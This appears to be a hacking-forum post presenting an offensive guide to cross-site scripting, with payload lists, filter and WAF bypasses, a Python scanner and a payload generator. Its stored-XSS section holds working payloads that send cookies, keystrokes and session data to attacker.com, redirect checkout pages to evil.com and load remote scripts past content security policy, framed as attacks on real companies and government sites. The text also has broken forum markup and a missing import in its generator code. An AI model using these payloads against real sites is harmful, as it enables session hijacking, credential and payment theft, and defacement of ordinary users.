Cross-Site Scripting (XSS) Deep Dive - Stored, Reflected & DOM-based

Blacksec

Administrator
Staff member
πŸ’» Cross-Site Scripting (XSS) Deep Dive - Stored, Reflected & DOM-based πŸ’»


> Posted by: xss_hunter | Rank: Senior Member | Joined: 2023 [/I]



β€’ Reflected XSS - finding and exploiting
β€’ Stored XSS - the silent killer
β€’ DOM-based XSS - client-side only
β€’ Bypassing WAFs and filters
β€’ Real exploit chains
β€’ Automated detection scripts

XSS is the most common vulnerability in web apps. Period.[/B]

I've found XSS in everything from Fortune 500 companies to government sites. Here's the complete guide to finding and exploiting it.

---

━━━ TYPE 1: Reflected XSS ━━━


The Setup: User input is reflected back in the response but never stored.

Basic Testing:
Code:
# Try these payloads in search boxes, URL params, headers
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
[CODE]

[B]Filter Bypass Techniques:[/B]
[CODE]
# Case variation
<ScRiPt>alert(1)</ScRiPt>

# Unicode encoding
%3Cscript%3Ealert(1)%3C/script%3E
%u003Cscript%u003Ealert(1)%u003C/script%u003E

# Null bytes (if not stripped)
<scr%00ipt>alert(1)</script>

# HTML entity encoding
&#60;script&#62;alert(1)&#60;/script&#62;

# Double encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Event handler chaining
<div onmouseover="alert(1)">Hover me</div>
<a href="javascript:alert(1)">Click me</a>

# Newline-separated payloads
<img src=x
onerror=alert(1)>

---

━━━ TYPE 2: Stored XSS (Persistent) ━━━


This is the dangerous one. Stored XSS lives on the server. Every user who visits the affected page gets hit.

Common Injection Points:
  • User profiles (bio, signature, display name)
  • Comment sections and forums
  • Contact forms and feedback
  • File upload descriptions
  • Admin panels (if you can inject there)
  • JSON API responses

Stored XSS Payload Collection:
Code:
# Basic alert
<script>alert(document.cookie)</script>

# Cookie stealing
<script>new Image().src="http://attacker.com/cookie?c="+document.cookie</script>

# Keylogging
<script>
document.onkeypress = function(e) {
  var key = String.fromCharCode(e.which);
  new Image().src="http://attacker.com/log?key=" + encodeURIComponent(key);
};
</script>

# Session hijacking
<script>
fetch('http://attacker.com/hijack', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    cookie: document.cookie,
    url: window.location.href,
    userAgent: navigator.userAgent
  })
});
</script>

# Defacement (if you have admin access)
<script>
document.body.innerHTML = '<h1>Hacked by xss_hunter</h1>';
</script>

# Banking trojan redirect
<script>
if(window.location.pathname === '/checkout') {
  window.location = 'http://evil.com/fake-checkout';
}
</script>

---

━━━ TYPE 3: DOM-based XSS ━━━


What makes DOM XSS special: The vulnerability exists entirely in JavaScript. The server never sees the malicious input. This means traditional WAFs often miss it.

How to Find DOM XSS:
Code:
# Look for these sink functions in JavaScript
document.write()
document.writeln()
innerHTML
outerHTML
setTimeout()
setInterval()
eval()
Function()
window.location
document.location
location.assign()
location.replace()

# Test by modifying URL parameters
http://target.com/page#<script>alert(1)</script>
http://target.com/page?ref=<img src=x onerror=alert(1)>
http://target.com/page?callback=<script>alert(1)</script>

DOM XSS Exploitation Example:
Code:
// Vulnerable JavaScript code (what you're looking for):
var param = window.location.hash.substring(1);
document.getElementById("output").innerHTML = param;

// Exploit:
http://target.com/page#<img src=x onerror=alert(document.cookie)>

---

━━━ ADVANCED: XSS Chains & Payload Construction ━━━


Multi-Vector XSS Chain:
Code:
Step 1: Inject in <input> field (stored)
<input value="<script>">

Step 2: Escape the attribute, inject event handler
"><img src=x onerror="fetch('http://attacker.com/?c='+document.cookie)">

Step 3: Bypass HTML escaping with unicode
\u003cscript\u003ealert(1)\u003c/script\u003e

Step 4: Bypass content security policy
<script src="http://attacker.com/payload.js"></script>

JSON Injection XSS:
Code:
// Target returns JSON: {"name": "John", "email": "john@example.com"}
// Inject via API: {"name": "<script>alert(1)</script>", "email": "x"}
// If server doesn't properly escape JSON output:
{"name": "<script>alert(1)</script>","email": "test@test.com"}

// Or in JavaScript contexts:
<script>var user = {"name": "</script><script>alert(1)</script>"};</script>

SVG-based XSS:
Code:
<svg onload="alert(1)">
<svg/onload='alert(String.fromCharCode(88,83,83))'>
<svg><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)"><rect width="100%" height="100%" fill="white"/></a></svg>

---

━━━ XSS Detection Framework ━━━


Code:
#!/usr/bin/env python3
"""
Advanced XSS Scanner - Automated Detection Tool
Features: Reflected, Stored, DOM-based detection
"""
import requests
import urllib.parse
import re
import sys
from collections import defaultdict

class XSSScanner:
    def __init__(self, target_url, proxy=None):
        self.target = target_url
        self.session = requests.Session()
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        self.vulnerable_params = {}
        self.payloads = self.load_payloads()
        
    def load_payloads(self):
        return {
            "basic": [
                "<script>alert(1)</script>",
                "<img src=x onerror=alert(1)>",
                "<svg onload=alert(1)>",
            ],
            "bypass": [
                "<ScRiPt>alert(1)</ScRiPt>",
                "%3Cscript%3Ealert(1)%3C/script%3E",
                "'><img src=x onerror=alert(1)>",
                " javascript:alert(1)",
                "<iframe src=javascript:alert(1)>",
            ],
            "dom": [
                ""><img src=x onerror=alert(1)>",
                "';alert(1);//",
                "#<img src=x onerror=alert(1)>",
            ],
            "advanced": [
                "<details open ontoggle=alert(1)>",
                "<body onload=alert(1)>",
                "<input onfocus=alert(1) autofocus>",
                "<select onload=alert(1)>",
                "<marquee onstart=alert(1)>",
            ]
        }
    
    def detect_reflected_xss(self):
        """Detect reflected XSS in URL parameters"""
        print("[*] Testing for reflected XSS...")
        parsed = urllib.parse.urlparse(self.target)
        
        # Get baseline response
        baseline_resp = self.session.get(self.target)
        baseline_len = len(baseline_resp.text)
        
        # Test each parameter
        if parsed.query:
            params = urllib.parse.parse_qs(parsed.query)
            for param_name, param_values in params.items():
                for value in param_values:
                    for payload in self.payloads["basic"]:
                        test_url = self.target.replace(
                            urllib.parse.quote(value), 
                            urllib.parse.quote(payload)
                        )
                        resp = self.session.get(test_url)
                        
                        if payload in resp.text or self.is_xss_detected(resp.text):
                            self.vulnerable_params[param_name] = test_url
                            print(f"  [+] VULNERABLE: {param_name}")
                            print(f"      Payload: {payload[:50]}...")
                            print(f"      URL: {test_url[:80]}...")
    
    def detect_stored_xss(self, form_url, form_data):
        """Test stored XSS through forms"""
        print("[*] Testing for stored XSS in forms...")
        
        for field, value in form_data.items():
            for payload in self.payloads["basic"]:
                test_data = form_data.copy()
                test_data[field] = payload
                
                # Submit the form
                resp = self.session.post(form_url, data=test_data)
                
                # Check if payload is reflected back
                if payload in resp.text or self.is_xss_detected(resp.text):
                    print(f"  [+] STORED XSS: {field} field")
                    print(f"      Payload: {payload[:50]}...")
    
    def is_xss_detected(self, html_content):
        """Check if XSS payload was executed"""
        indicators = [
            r'<script[^>]*>.*?</script>',
            r'on\w+\s*=\s*["\']?alert',
            r'javascript:',
            r'<img[^>]*onerror',
            r'<svg[^>]*onload',
        ]
        for pattern in indicators:
            if re.search(pattern, html_content, re.IGNORECASE):
                return True
        return False
    
    def scan_dom_xss(self):
        """Test for DOM-based XSS"""
        print("[*] Testing for DOM-based XSS...")
        
        # Fetch the page and look for vulnerable JS
        resp = self.session.get(self.target)
        js_patterns = [
            r'document\.write\(',
            r'\.innerHTML\s*=',
            r'window\.location',
            r'document\.location',
            r'eval\(',
            r'Function\(',
        ]
        
        for pattern in js_patterns:
            matches = re.findall(pattern, resp.text)
            if matches:
                print(f"  [+] Potential DOM XSS: {pattern}")
                print(f"      Found: {matches[:3]}")
    
    def generate_report(self):
        """Generate XSS scan report"""
        report = {
            "target": self.target,
            "vulnerable_params": self.vulnerable_params,
            "total_tested": sum(len(p) for p in self.payloads.values()),
            "vulnerabilities_found": len(self.vulnerable_params),
        }
        return report
    
    def run_full_scan(self, form_url=None, form_data=None):
        """Run complete XSS scan"""
        print(f"[*] Starting XSS scan on: {self.target}")
        print(f"[*] Testing {sum(len(p) for p in self.payloads.values())} payloads\n")
        
        self.detect_reflected_xss()
        
        if form_url and form_data:
            self.detect_stored_xss(form_url, form_data)
            
        self.scan_dom_xss()
        
        report = self.generate_report()
        print(f"\n[+] Scan complete. Found {report['vulnerabilities_found']} vulnerable params.")
        return report

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [proxy]")
        sys.exit(1)
    
    target = sys.argv[1]
    proxy = sys.argv[2] if len(sys.argv) > 2 else None
    
    scanner = XSSScanner(target, proxy)
    scanner.run_full_scan()

---

━━━ XSS Payload Generator ━━━


Code:
#!/usr/bin/env python3
"""
Advanced XSS Payload Generator
Generates context-aware payloads for different injection points
"""
import random
import string

class XSSPayloadGenerator:
    def __init__(self):
        self.contexts = {
            "html": self.html_context,
            "attribute": self.attribute_context,
            "javascript": self.javascript_context,
            "url": self.url_context,
            "comment": self.comment_context,
        }
    
    def html_context(self, base_payload):
        """Payload in HTML body context"""
        variants = [
            f"<script>{base_payload}</script>",
            f"<img src=x onerror={base_payload}>",
            f"<svg onload={base_payload}>",
            f"<body onload={base_payload}>",
            f"<details open ontoggle={base_payload}>",
            f"<marquee onstart={base_payload}>",
            f"<video><source onerror={base_payload}>",
            f"<iframe srcdoc=<svg/onload={base_payload}>>",
        ]
        return variants
    
    def attribute_context(self, base_payload):
        """Payload inside HTML attribute"""
        variants = [
            f"' {base_payload} '",
            f"' onmouseover={base_payload} '",
            f"'><img src=x onerror={base_payload}>",
            f"' autofocus onfocus={base_payload} '",
            f'"\x20onmouseover={base_payload} "',
            f"' onclick={base_payload} ' value='x'",
        ]
        return variants
    
    def javascript_context(self, base_payload):
        """Payload inside JavaScript string"""
        variants = [
            f"'; {base_payload} //",
            f"'); {base_payload} //",
            f"';alert(1);'",
            f"';eval(atob('{self.b64encode(base_payload)}')) //",
            f"{''.join(random.choices(string.ascii_lowercase, k=5))}'; {base_payload} //",
        ]
        return variants
    
    def url_context(self, base_payload):
        """Payload in URL parameter"""
        variants = [
            urllib.parse.quote(base_payload),
            base_payload,
            f"%3Cscript%3E{self.b64encode(base_payload)}%3C/script%3E",
            f"javascript:{base_payload}",
        ]
        return variants
    
    def comment_context(self, base_payload):
        """Payload inside HTML comment"""
        variants = [
            f"<!--><script>{base_payload}</script>-->",
            f"<!--<img src=x onerror={base_payload}>-->",
        ]
        return variants
    
    def b64encode(self, text):
        import base64
        return base64.b64encode(text.encode()).decode()
    
    def generate_all(self, context="html", base_payload="alert(1)"):
        """Generate all payload variants for a context"""
        return self.contexts.get(context, self.html_context)(base_payload)
    
    def smart_generate(self, html_content, injection_point):
        """Smart payload generation based on HTML context"""
        # Analyze the injection point
        if "<script" in html_content.lower():
            return self.javascript_context("alert(document.cookie)")
        elif "value=" in html_content.lower() or "name=" in html_content.lower():
            return self.attribute_context("alert(1)")
        elif "<!--" in html_content:
            return self.comment_context("alert(1)")
        else:
            return self.html_context("alert(document.cookie)")

if __name__ == "__main__":
    gen = XSSPayloadGenerator()
    print("[*] HTML Context Payloads:")
    for p in gen.html_context("alert(1)"):
        print(f"  {p}")
    print("\n[*] Attribute Context Payloads:")
    for p in gen.attribute_context("alert(1)"):
        print(f"  {p}")

---

━━━ TL;DR ━━━


Code:
βœ… Start with basic: <script>alert(1)</script>
βœ… Try event handlers: onerror, onload, onmouseover
βœ… DOM XSS evades WAFs - check JavaScript source
βœ… Stored XSS = persistent access, highest impact
βœ… Use context-aware payload generation
βœ… Test with and without WAF in place
βœ… Document everything for the report

---

Next up: CSRF token bypass techniques and authentication bypass.

Last edited by xss_hunter; 12 hours ago.



[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
xss_hunter | Senior Member | XSS Specialist
⚑ "The web is the sandbox, JavaScript is the tool" ⚑
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG]
[/b][/b][/b][/b][/b][/b][/b]
 
Top